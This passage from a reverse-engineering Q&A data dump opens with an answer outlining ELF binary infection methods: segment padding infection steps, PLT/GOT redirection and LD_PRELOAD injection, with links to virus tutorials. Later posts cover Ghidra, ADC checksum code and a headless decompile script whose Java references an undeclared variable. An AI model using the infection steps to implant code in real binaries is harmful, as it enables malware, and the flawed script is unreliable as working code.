&lt;li&gt;For the last &lt;code&gt;shdr&lt;/code&gt; in the text segment&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;increase &lt;code&gt;sh_len&lt;/code&gt; by the parasite length&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;For each &lt;code&gt;shdr&lt;/code&gt; who's section resides after the insertion&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Increase &lt;code&gt;sh_offset&lt;/code&gt; by PAGE_SIZE&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Physically insert the new code (parasite) and pad to &lt;code&gt;PAGE_SIZE&lt;/code&gt;, into&#xA;    the file - text segment &lt;code&gt;p_offset&lt;/code&gt; + &lt;code&gt;p_filesz&lt;/code&gt; (original) &lt;sup&gt;1&lt;/sup&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In addition to an explanation of the technique as well as the source code for a virus that implements this technique included with the 1998 article [1], there is a 2016 (it still works, after all these years) tutorial on ELF segment padding infection available at 0x00sec called &lt;a href=&quot;https://0x00sec.org/t/elfun-file-injector/410&quot; rel=&quot;nofollow noreferrer&quot;&gt;ELFun File Injector&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides the text segment infection approach, there is also data segment infection, which is quite similar. One can also add an additional &lt;em&gt;segment&lt;/em&gt; if they so choose.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PLT/GOT Infection&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First detailed in a Phrack article back in 2000 &lt;sup&gt;2&lt;/sup&gt;, this method involves patching the PLT/GOT to point to code inside the binary, which has been inserted via an infection method rather than pointing at code in a shared library dynamically linked to the binary:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It can be noted that we can change [function name in GOT] to point to our own code, thus replacing library calls.  If we save the state of the GOT before replacing, we can call the old library routine and thus redirect any library call. &lt;sup&gt;2&lt;/sup&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The easiest way to implement this method seems to be using the LIEF instrumentation framework. A tutorial for doing this is provided in the LIEF documentation under the title &lt;a href=&quot;https://lief.quarkslab.com/doc/stable/tutorials/05_elf_infect_plt_got.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Infecting the plt/got&lt;/a&gt;. Note that in the tutorial the GOT is patched instead of the PLT, and code is added to the file by creating a new &lt;em&gt;segment&lt;/em&gt; (one of the aforementioned infection techniques). &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There are additional techiniques besides this for modifying the file directly, but segment padding infection and PLT/GOT infection seem to be the most straightforward.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Runtime Modification Techniques&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since DLL injection and runtime process manipulation are less directly related to your current task, I won't go into much detail.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;DLL injection via &lt;code&gt;LD_PRELOAD&lt;/code&gt; is incredibly powerful and useful. 2 tutorials I have found to be useful are&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.goldsborough.me/c/low-level/kernel/2016/08/29/16-48-53-the_-ld_preload-_trick/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The LD_PRELOAD trick&lt;/a&gt; - for binaries compiled from C source&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blog.kummerlaender.eu/article/notes_on_function_interposition_in_cpp/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Notes on function interposition in C++&lt;/a&gt;  for binaries compiled from C++ source&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;DLL hooking can be accomplished with LIEF as well: see &lt;a href=&quot;https://lief.quarkslab.com/doc/stable/tutorials/04_elf_hooking.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ELF Hooking&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;process code injection using &lt;code&gt;ptrace()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some methods are more obscure, such as the &lt;code&gt;DT_NEEDED&lt;/code&gt; infection detailed in &lt;a href=&quot;http://phrack.org/issues/61/8.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Cerberus ELF Interface&lt;/a&gt; and &quot;subversive dynamic linking&quot; described in &lt;a href=&quot;https://grugq.github.io/docs/subversiveld.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cheating the ELF&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;References&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.win.tue.nl/~aeb/linux/hh/virus/unix-viruses.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Unix Viruses&lt;/em&gt;&lt;/a&gt;. Silvio Cesare&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.phrack.org/issues/56/7.html#article&quot; rel=&quot;nofollow noreferrer&quot;&gt;SHARED LIBRARY CALL REDIRECTION VIA ELF PLT INFECTION&lt;/a&gt;, Silvio Cesare&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2019-08-22T06:34:34.463" LastActivityDate="2019-08-22T06:34:34.463" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21949" PostTypeId="2" ParentId="21940" CreationDate="2019-08-21T14:25:54.167" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there anything I can do to open the NEC binary dump in Ghidra?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. If Ghidra does not currently support 76F0219F1 NEC processor architecture, Ghidra can be extended using &lt;a href=&quot;https://ghidra.re/courses/languages/html/sleigh.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;SLEIGH&lt;/a&gt;. Here are some examples of how to do this: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.google.com/presentation/d/1b955DV2ii-Dgv6YR4kUrJtjGugEqXD3FffTHRfvVSYo/edit#slide=id.g4525dccad7_0_0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Implementing a New CPU Architecture for Ghidra&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/tom-seddon/Ghidra6502&quot; rel=&quot;nofollow noreferrer&quot;&gt;new 6502 CPU description&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://m.habr.com/en/post/443318/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Writing a wasm loader for Ghidra. Part 1: Problem statement and setting up environment&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2019-08-21T14:25:54.167" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21950" PostTypeId="2" ParentId="21947" CreationDate="2019-08-21T20:11:08.113" Score="0" Body="&lt;p&gt;You can start from the message that prints the Hardware ID and work backwards from it to see how exactly it is calculated. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-08-21T20:11:08.113" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21951" PostTypeId="2" ParentId="21943" CreationDate="2019-08-21T20:13:45.297" Score="3" Body="&lt;p&gt;This is normally not possible. The icon is part of the &lt;em&gt;resource section&lt;/em&gt; (&lt;code&gt;.rsrc&lt;/code&gt;) which is covered by the signature so any modification will invalidate it and the binary needs to be re-signed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There &lt;em&gt;may&lt;/em&gt; be some parts of the executable you can &lt;a href=&quot;https://vcsjones.dev/2016/04/15/authenticode-stuffing-tricks/&quot; rel=&quot;nofollow noreferrer&quot;&gt;change without invalidating the signature&lt;/a&gt;, but the resource section is not one of them.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2019-08-21T21:09:46.847" LastActivityDate="2019-08-21T21:09:46.847" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21953" PostTypeId="1" AcceptedAnswerId="21958" CreationDate="2019-08-22T04:13:26.353" Score="3" ViewCount="630" Body="&lt;p&gt;To clarify, I understand how ADC works. It's the same as a regular ADD but with an extra 1 if the Carry Flag was set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its use in the snippet below makes perfect sense to me since an overflow is most likely going to occur, setting the CF flag, when adding two 64-bit values in a 32-bit context:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Assume EDX:EAX and EBX:ECX pairs hold two 64 bit values that are to be added together.&#xA;&#xA;add     eax, ecx&#xA;adc     edx, ebx&#xA;mov     dword [ebp+Some64BitValue], eax&#xA;mov     dword [ebp+Some64BitValue+4], edx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I fail to understand the meaning of is when ADC is used consecutively on the same variable/register like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add     eax, dword [esi]&#xA;adc     eax, dword [esi+0x4]&#xA;adc     eax, dword [esi+0x8]&#xA;adc     eax, dword [esi+0x10]&#xA;...&#xA;adc     eax, 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Generally speaking what would be the purpose of doing this? What is meant to be of EAX?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*&lt;em&gt;update&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see my answer below&lt;/p&gt;&#xA;" OwnerUserId="24439" LastEditorUserId="24439" LastEditDate="2019-08-22T13:52:49.903" LastActivityDate="2019-08-23T21:10:49.343" Title="What is the purpose of consecutive ADC instructions to a single register?" Tags="|assembly|x86|math|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21955" PostTypeId="2" ParentId="21953" CreationDate="2019-08-22T05:48:47.560" Score="3" Body="&lt;h2&gt;EDIT 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;without resorting to inline assembly / seperate assembly module i was able to generate consecutive adc instruction using the &lt;strong&gt;intrinsic _addcarry_uxx (16,32,64)&lt;/strong&gt;  (with full optimizations on /O1 switch in msvc cl.exe )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;relevant code and its disassembly below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;intrin.h&amp;gt;&#xA;#define BUSIZ  16&#xA;#define UNROLL 8&#xA;unsigned int dat[BUSIZ] = &#xA;{&#xA;    0x10001337, 0xffffffff, 0x10001337 , 0xffffffff,&#xA;    0x00001337, 0xdeadbeef, 0xbeadbed5 , 0xdad15dad,&#xA;    0xba5eba11, 0xf001b055, 0xc001b055 , 0x501eb055,&#xA;    0xba11ba75, 0xbadba115, 0xbed15bad , 0xdaff0d11&#xA;};    &#xA;int main (void) &#xA;{&#xA;    unsigned int chksum = 0;&#xA;    unsigned char carry = 0;&#xA;    for(int i=0; i&amp;lt; BUSIZ; i += UNROLL )&#xA;    {&#xA;        carry = _addcarry_u32(carry,chksum,dat[i+0],&amp;amp;chksum);&#xA;        carry = _addcarry_u32(carry,chksum,dat[i+1],&amp;amp;chksum);&#xA;        carry = _addcarry_u32(carry,chksum,dat[i+2],&amp;amp;chksum);&#xA;        carry = _addcarry_u32(carry,chksum,dat[i+3],&amp;amp;chksum);        &#xA;        carry = _addcarry_u32(carry,chksum,dat[i+4],&amp;amp;chksum);&#xA;        carry = _addcarry_u32(carry,chksum,dat[i+5],&amp;amp;chksum);&#xA;        carry = _addcarry_u32(carry,chksum,dat[i+6],&amp;amp;chksum);&#xA;        carry = _addcarry_u32(carry,chksum,dat[i+7],&amp;amp;chksum);&#xA;    }&#xA;    printf(&quot;FINAL CHECKSUM = %8x\n&quot; , chksum + carry );  &#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executed it prints out &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;addcarry.exe&#xA;FINAL CHECKSUM = 616ba476&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;python script to chk veracity of result&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cat chksum.py&#xA;dat = [&#xA;    0x10001337, 0xffffffff, 0x10001337 , 0xffffffff,&#xA;    0x00001337, 0xdeadbeef, 0xbeadbed5 , 0xdad15dad,&#xA;    0xba5eba11, 0xf001b055, 0xc001b055 , 0x501eb055,&#xA;    0xba11ba75, 0xbadba115, 0xbed15bad , 0xdaff0d11&#xA;]&#xA;chksum33bit = 0&#xA;for i in range (0,16,1):&#xA;    chksum33bit = chksum33bit + dat[i]&#xA;chklow = chksum33bit &amp;amp; 0xffffffff&#xA;chkhig = chksum33bit &amp;gt;&amp;gt; 32&#xA;chkfin = chklow+chkhig&#xA;print (hex(chkfin))&#xA;&#xA;:\&amp;gt;python chksum.py&#xA;0x616ba476L&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassembling we see compiler has generated consecutive adc instructions&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cdb -c &quot;uf addcarry!main;q&quot; addcarry.exe | grep -B 31 quit&#xA;0:000&amp;gt; cdb: Reading initial command 'uf addcarry!main;q'&#xA;addcarry!main:&#xA;01151029 33c9            xor     ecx,ecx&#xA;0115102b b804901901      mov     eax,offset addcarry!dat+0x4 (01199004)&#xA;01151030 8ad1            mov     dl,cl&#xA;&#xA;addcarry!main+0x9:&#xA;01151032 80c2ff          add     dl,0FFh&#xA;01151035 1348fc          adc     ecx,dword ptr [eax-4]&#xA;01151038 1308            adc     ecx,dword ptr [eax]&#xA;0115103a 134804          adc     ecx,dword ptr [eax+4]&#xA;0115103d 134808          adc     ecx,dword ptr [eax+8]&#xA;01151040 13480c          adc     ecx,dword ptr [eax+0Ch]&#xA;01151043 134810          adc     ecx,dword ptr [eax+10h]&#xA;01151046 134814          adc     ecx,dword ptr [eax+14h]&#xA;01151049 134818          adc     ecx,dword ptr [eax+18h]&#xA;0115104c 0f92c2          setb    dl&#xA;0115104f 83c020          add     eax,20h&#xA;01151052 3d44901901      cmp     eax,offset addcarry!__scrt_default_matherr (01199044)&#xA;01151057 7cd9            jl      addcarry!main+0x9 (01151032)&#xA;&#xA;addcarry!main+0x30:&#xA;01151059 0fb6c2          movzx   eax,dl&#xA;0115105c 03c1            add     eax,ecx&#xA;0115105e 50              push    eax&#xA;0115105f 6890011901      push    offset addcarry!`string' (01190190)&#xA;01151064 e805000000      call    addcarry!printf (0115106e)&#xA;01151069 59              pop     ecx&#xA;0115106a 59              pop     ecx&#xA;0115106b 33c0            xor     eax,eax&#xA;0115106d c3              ret&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;END OF EDIT 2&lt;/h1&gt;&#xA;&#xA;&lt;h1&gt;&lt;strong&gt;EDIT 1:&lt;/strong&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;even though i could generate several adc's&lt;br&gt;&#xA;i couldn't successfully generate &#xA;consecutive adc using c compiler&lt;br&gt;&#xA;so i looked around windows\system32 directory if any of the binaries has consecutive adc's&lt;br&gt;&#xA;located one in &lt;strong&gt;imagehlp.dll&lt;/strong&gt;&lt;br&gt;&#xA;and some googling later it appears it is &lt;strong&gt;&lt;a href=&quot;http://www.faqs.org/rfcs/rfc1071.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC1071  IP Header Checksum&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;probably written using handwritten assembly (found some assembly codes for motorola , cray etc  in the link also here is a &lt;a href=&quot;https://www.mail-archive.com/cryptopp-users@googlegroups.com/msg03492.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;google group link that discusses the Implementation of ChkSum&lt;/a&gt;  there is also an old Dave Cutler authored ChkSum()  from a NT imagehelp toolkit sdk that was released by ms around 1993 )  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;below  is win7 sp1 32 bit imagehlp.dll adc sequence&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;grep -obUaPs &quot;\x13\x46\x04\x13\x46\x08&quot; --include=*.dll *&#xA;&#xA;imagehlp.dll:17883:‼F♦‼F&#xA;imagehlp.dll:17917:‼F♦‼F&#xA;imagehlp.dll:17963:‼F♦‼F&#xA;imagehlp.dll:18021:‼F♦‼F&#xA;&#xA;xxd -c 12 -g 3 -s 18021 -l 99 imagehlp.dll&#xA;&#xA;0004665: 134604 134608 13460c 134610  .F..F..F..F.&#xA;0004671: 134614 134618 13461c 134620  .F..F..F..F&#xA;000467d: 134624 134628 13462c 134630  .F$.F(.F,.F0&#xA;0004689: 134634 134638 13463c 134640  .F4.F8.F&amp;lt;.F@&#xA;0004695: 134644 134648 13464c 134650  .FD.FH.FL.FP&#xA;00046a1: 134654 134658 13465c 134660  .FT.FX.F\.F`&#xA;00046ad: 134664 134668 13466c 134670  .Fd.Fh.Fl.Fp&#xA;00046b9: 134674 134678 13467c 83d000  .Ft.Fx.F|...&#xA;00046c5: 81c680                       ...&#xA;&#xA;dumpbin /headers imagehlp.dll | grep -i &quot;section header #1&quot; -A 5&#xA;&#xA;SECTION HEADER #1&#xA;   .text name&#xA;   23249 virtual size&#xA;    1000 virtual address (41871000 to 41894248)&#xA;   23400 size of raw data&#xA;     600 file pointer to raw data (00000600 to 000239FF)&#xA;&#xA;cdb -c &quot;ln (imagehlp + 1000 + (0n18021-0x600));q&quot; -z imagehlp.dll | grep -i -A 1 reading&#xA;&#xA;0:000&amp;gt; cdb: Reading initial command 'ln (imagehlp + 1000 + (0n18021-0x600));q'&#xA;&#xA;(41874f7b)   imagehlp!ChkSum+0xea   |  (41875105)   imagehlp!_SEH_prolog4_GS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;END OF EDIT 1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;there  may be several adc's because the compilation was not optimized is one of the reason &lt;/p&gt;&#xA;&#xA;&lt;p&gt;assuming you have some code like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;&#xA;int main (void) {&#xA;    DWORD64 a = 0x100002000;&#xA;    DWORD64 b = 0x00000000ffffffff;&#xA;    DWORD64 c = a + b;    &#xA;    printf(&quot;%I64x\n&quot; , a);&#xA;    printf(&quot;%I64x\n&quot; , b);&#xA;    printf(&quot;%I64x\n&quot; , c);&#xA;    c = c + a;&#xA;    printf(&quot;%I64x\n&quot; , c);&#xA;    c = c + b;&#xA;    printf(&quot;%I64x\n&quot; , c);&#xA;    c = c + c;&#xA;    printf(&quot;%I64x\n&quot; , c);    &#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you compile this without optimization&lt;br&gt;&#xA;disassemble the function main and look for adc instructions&lt;br&gt;&#xA;you will see several adc instructions including some that use the same register   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl /Zi /EHsc /W4 /Od /nologo /analyze adc.cpp /link /release /nologo adc.cpp  &#xA;&#xA;cdb -c &quot;g adc!main;uf .;q&quot; adc.exe | grep -i &quot;adc &quot;&#xA;000a102b 134dec          adc     ecx,dword ptr [ebp-14h]&#xA;000a107c 1345f4          adc     eax,dword ptr [ebp-0Ch]&#xA;000a10a3 134dec          adc     ecx,dword ptr [ebp-14h]&#xA;000a10ca 1355fc          adc     edx,dword ptr [ebp-4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but if you optimize compiler is smart enough to remove all Adc instructions&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl /Zi /EHsc /W4 /Ox /nologo /analyze adc.cpp /link /release /nologo adc.cpp&#xA;&#xA;cdb -c &quot;g adc!main;uf .;q&quot; adc.exe | grep -i &quot;adc &quot;&#xA;&#xA;adc.exe&#xA;100002000&#xA;ffffffff&#xA;200001fff&#xA;300003fff&#xA;400003ffe&#xA;800007ffc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the code you have in question might be result of a subroutine that performs pure addition and returns the result as below &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#pragma optimize ( &quot;t&quot; , off)&#xA;DWORD64  madd (DWORD64 a, DWORD64 b) &#xA;{&#xA;    DWORD64 c = 0;&#xA;    c = a + b;  &#xA;    c = c + a;    &#xA;    c = c + b;&#xA;    c = c + c;&#xA;    return c;    &#xA;}&#xA;#pragma optimize ( &quot;t&quot; , on)&#xA;int main (void) {&#xA;    DWORD64 a = 0x100002000;&#xA;    DWORD64 b = 0x00000000ffffffff;&#xA;    printf(&quot;%I64x\n&quot; , madd(a,b));    &#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is the disassembly of the functions that adds multiple64 bit values and returns the result&lt;/p&gt;&#xA;&#xA;&lt;p&gt;disassembly of function madd &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; uf adc!madd&#xA;adc!madd [adc.cpp @ 6]:&#xA;    6 00291000 55              push    ebp&#xA;    6 00291001 8bec            mov     ebp,esp&#xA;    6 00291003 51              push    ecx&#xA;    6 00291004 51              push    ecx&#xA;    7 00291005 0f57c0          xorps   xmm0,xmm0&#xA;    7 00291008 660f1345f8      movlpd  qword ptr [ebp-8],xmm0&#xA;    8 0029100d 8b4508          mov     eax,dword ptr [ebp+8]&#xA;    8 00291010 034510          add     eax,dword ptr [ebp+10h]&#xA;    8 00291013 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]&#xA;    8 00291016 134d14          adc     ecx,dword ptr [ebp+14h]&#xA;    8 00291019 8945f8          mov     dword ptr [ebp-8],eax&#xA;    8 0029101c 894dfc          mov     dword ptr [ebp-4],ecx&#xA;    9 0029101f 8b45f8          mov     eax,dword ptr [ebp-8]&#xA;    9 00291022 034508          add     eax,dword ptr [ebp+8]&#xA;    9 00291025 8b4dfc          mov     ecx,dword ptr [ebp-4]&#xA;    9 00291028 134d0c          adc     ecx,dword ptr [ebp+0Ch]&#xA;    9 0029102b 8945f8          mov     dword ptr [ebp-8],eax&#xA;    9 0029102e 894dfc          mov     dword ptr [ebp-4],ecx&#xA;   10 00291031 8b45f8          mov     eax,dword ptr [ebp-8]&#xA;   10 00291034 034510          add     eax,dword ptr [ebp+10h]&#xA;   10 00291037 8b4dfc          mov     ecx,dword ptr [ebp-4]&#xA;   10 0029103a 134d14          adc     ecx,dword ptr [ebp+14h]&#xA;   10 0029103d 8945f8          mov     dword ptr [ebp-8],eax&#xA;   10 00291040 894dfc          mov     dword ptr [ebp-4],ecx&#xA;   11 00291043 8b45f8          mov     eax,dword ptr [ebp-8]&#xA;   11 00291046 0345f8          add     eax,dword ptr [ebp-8]&#xA;   11 00291049 8b4dfc          mov     ecx,dword ptr [ebp-4]&#xA;   11 0029104c 134dfc          adc     ecx,dword ptr [ebp-4]&#xA;   11 0029104f 8945f8          mov     dword ptr [ebp-8],eax&#xA;   11 00291052 894dfc          mov     dword ptr [ebp-4],ecx&#xA;   12 00291055 8b45f8          mov     eax,dword ptr [ebp-8]&#xA;   12 00291058 8b55fc          mov     edx,dword ptr [ebp-4]&#xA;   14 0029105b c9              leave&#xA;   14 0029105c c3              ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the function uses the same register ecx for adding multiple carryovers&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; # adc*, adc!madd l 60&#xA;adc!madd+0x16 [adc.cpp @ 8]:&#xA;00291016 134d14          adc     ecx,dword ptr [ebp+14h]  &#xA;adc!madd+0x28 [adc.cpp @ 9]:&#xA;00291028 134d0c          adc     ecx,dword ptr [ebp+0Ch]&#xA;adc!madd+0x3a [adc.cpp @ 10]:&#xA;0029103a 134d14          adc     ecx,dword ptr [ebp+14h]&#xA;adc!madd+0x4c [adc.cpp @ 11]:&#xA;0029104c 134dfc          adc     ecx,dword ptr [ebp-4]&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-08-23T21:10:49.343" LastActivityDate="2019-08-23T21:10:49.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21956" PostTypeId="2" ParentId="21207" CreationDate="2019-08-22T08:23:58.503" Score="2" Body="&lt;p&gt;One way is using Ghidra's &lt;em&gt;CppExporter&lt;/em&gt; class within a Java class that extends &lt;em&gt;GhidraScript&lt;/em&gt; class. Ghidra's source code contains some sample codes that could be found at the following link : &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/tree/master/Ghidra/Features/Decompiler/ghidra_scripts&quot; rel=&quot;nofollow noreferrer&quot;&gt;Decompiler samples&lt;/a&gt;.&#xA;I took one of them and improved a bit the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code below has to be copied in a file called &lt;strong&gt;Decompile.java&lt;/strong&gt;&#xA;Then, you have to run Ghidra's &lt;strong&gt;analyzeHeadless&lt;/strong&gt; binary tool.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ghidra_root&amp;gt;/support/analyzeHeadless &amp;lt;ghidra_project_dir&amp;gt; &amp;lt;project_name&amp;gt; \&#xA;    -import &amp;lt;path_to_binary&amp;gt; -postscript &amp;lt;your_path&amp;gt;/Decompile.java &amp;lt;out_C_file_path&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Command example : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./analyzeHeadless MyProjDir MyProj -import libX.so -postscript Decompile.java libX_dec.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note : You might have to create project dir if it does not already exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Decompile.java&lt;/strong&gt; example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import java.io.File;&#xA;import java.io.IOException;&#xA;import java.util.ArrayList;&#xA;import java.util.List;&#xA;import java.util.Arrays;&#xA;&#xA;import org.apache.logging.log4j.LogManager;&#xA;import org.apache.logging.log4j.Logger;&#xA;&#xA;import ghidra.app.plugin.core.script.Ingredient;&#xA;import ghidra.app.plugin.core.script.IngredientDescription;&#xA;import ghidra.app.script.GatherParamPanel;&#xA;import ghidra.app.script.GhidraScript;&#xA;import ghidra.app.util.Option;&#xA;import ghidra.app.util.OptionException;&#xA;import ghidra.app.util.exporter.CppExporter;&#xA;import ghidra.app.util.exporter.ExporterException;&#xA;&#xA;public class Decompile extends GhidraScript implements Ingredient {&#xA;    private static Logger log;&#xA;&#xA;    public Decompile() {&#xA;        log = LogManager.getLogger(Decompile.class);&#xA;    }&#xA;&#xA;    public void export(String filename) {&#xA;        File outputFile = new File(filename);&#xA;        CppExporter cppExporter = new CppExporter();&#xA;        cppExporter.setExporterServiceProvider(state.getTool());&#xA;&#xA;        List&amp;lt;Option&amp;gt; options = new ArrayList&amp;lt;Option&amp;gt;();&#xA;        Option cppExportHeaderOption =&#xA;                new Option(CppExporter.CREATE_HEADER_FILE, new Boolean(false));&#xA;        options.add(cppExportOption);&#xA;        try {&#xA;            cppExporter.setOptions(options);&#xA;        } catch (OptionException e) {&#xA;            log.error(&quot;Unable to set cppExporter options&quot;, e);&#xA;            return;&#xA;        }&#xA;&#xA;        try {&#xA;            cppExporter.export(outputFile, currentProgram, null, monitor);&#xA;        } catch (IOException e) {&#xA;            log.error(&quot;Failed writing decompiled code as output&quot;, e);&#xA;        } catch (ExporterException e) {&#xA;            log.error(&quot;Failed to export with cppExporter&quot;, e);&#xA;        }&#xA;    }&#xA;&#xA;    @Override&#xA;    public void run() throws Exception {&#xA;        IngredientDescription[] ingredients = getIngredientDescriptions();&#xA;        for (IngredientDescription ingredient : ingredients) {&#xA;            state.addParameter(ingredient.getID(), ingredient.getLabel(),&#xA;                    ingredient.getType(), ingredient.getDefaultValue());&#xA;        }&#xA;&#xA;        String[] args = getScriptArgs();&#xA;        export(args[0]);&#xA;    }&#xA;&#xA;    @Override&#xA;    public IngredientDescription[] getIngredientDescriptions() {&#xA;        IngredientDescription[] retVal = new IngredientDescription[] {&#xA;          new IngredientDescription(&#xA;                &quot;COutputFile&quot;, &quot;Output C File&quot;, GatherParamPanel.FILE, &quot;&quot;)};&#xA;        return retVal;&#xA;    